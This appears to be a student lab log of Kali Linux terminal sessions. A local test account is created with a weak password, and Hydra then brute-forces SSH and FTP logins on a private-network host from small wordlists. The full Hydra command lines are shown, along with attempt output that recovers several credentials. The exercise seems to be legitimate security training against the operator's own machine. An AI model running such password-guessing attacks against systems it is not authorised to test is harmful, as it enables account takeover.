

Parte 1:

```
(kali@kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
warn: The home directory `/home/test_user' already exists. Not touching this directory.
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali@kali)-[~]
$ nano usernames.txt

(kali@kali)-[~]
$ nano password.txt

(kali@kali)-[~]
$ sudo service ssh start

(kali@kali)-[~]
$ hydra -L usernames.txt -P password.txt 192.168.51.102 -V -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or security
aws and ethics anyway).

[ATTEMPT] target 192.168.51.102 - login kali - pass kali - 58 of 100 [child 0] (0/0)
[22][ssh] host: 192.168.51.102 login: kali password: kali
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "1234" - 61 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "admin" - 62 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "msfadmin" - 63 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "12345678" - 64 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "password" - 65 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "hello" - 66 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "user" - 67 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "kali" - 68 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "testpass" - 69 of 100 [child 2] (0/0)
[22][ssh] host: 192.168.51.102 login: test_user password: testpass
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "1234" - 71 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "admin" - 72 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "msfadmin" - 73 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "12345678" - 74 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "password" - 75 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "hello" - 76 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "user" - 77 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "kali" - 78 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "testpass" - 79 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "test" - 80 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "1234" - 81 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "admin" - 82 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "msfadmin" - 83 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "12345678" - 84 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "password" - 85 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "hello" - 86 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "user" - 87 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "kali" - 88 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "testpass" - 89 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test" - pass "test" - 90 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "1234" - 91 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "admin" - 92 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "msfadmin" - 93 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "12345678" - 94 of 100 [child 2] (0/0)
[STATUS] 94.00 tries/min, 94 tries in 00:01h, 6 to do in 00:01h, 4 active
[ATTEMPT] target 192.168.51.102 - login "" - pass "password" - 95 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "hello" - 96 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "user" - 97 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "kali" - 98 of 100 [child 2] (0/0)
[22][ssh] host: 192.168.51.102 password: kali
[ATTEMPT] target 192.168.51.102 - login "" - pass "testpass" - 99 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "" - pass "test" - 100 of 100 [child 0] (0/0)
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-09-20 10:46:42
```

Erase is control-H (^H).

```
(kali@kali)-[~]
$ sudo apt-get install vsftpd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  fonts-liberation2 ibverbs-providers libassuan0 libavfilter9 libboost-iostreams1.83.0 lib
  libglusterfs0 libibverbs1 libjsoncpp25 libjxl0.7 libndctl6 libplacebo338 libpmem1 libpost
  libsvtav1enc1d1 libu2f-udev libx265-199 linux-image-6.6.15-amd64 openjdk-17-jre openjdk-1
  python3-pytzdata python3.11 python3.11-dev python3.11-minimal rwho rwhod samba-ad-provis
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 161 not upgraded.
Need to get 142 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (243 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 417793 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/,
  accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.13.0-1) ...
Processing triggers for kali-menu (2024.3.1) ...

(kali@kali)-[~]
$ sudo service vsftpd start

(kali@kali)-[~]
$ hydra -L usernames.txt -P password.txt 192.168.51.102 -V -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
aws and ethics anyway).
```

```
[ATTEMPT] target 192.168.51.102 - login "kali" - pass "user" - 57 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "kali" - pass "kali" - 58 of 100 [child 0] (0/0)
[21][ftp] host: 192.168.51.102 login: kali password: kali
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "1234" - 61 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "admin" - 62 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "msfadmin" - 63 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "12345678" - 64 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "password" - 65 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "hello" - 66 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "user" - 67 of 100 [child 2] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "kali" - 68 of 100 [child 3] (0/0)
[ATTEMPT] target 192.168.51.102 - login "test_user" - pass "testpass" - 69 of 100 [child 0] (0/0)
[21][ftp] host: 192.168.51.102 login: test_user password: testpass
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "1234" - 71 of 100 [child 0] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "admin" - 72 of 100 [child 1] (0/0)
[ATTEMPT] target 192.168.51.102 - login "testuser" - pass "msfadmin" - 73 of 100 [child 2] (0/0)
```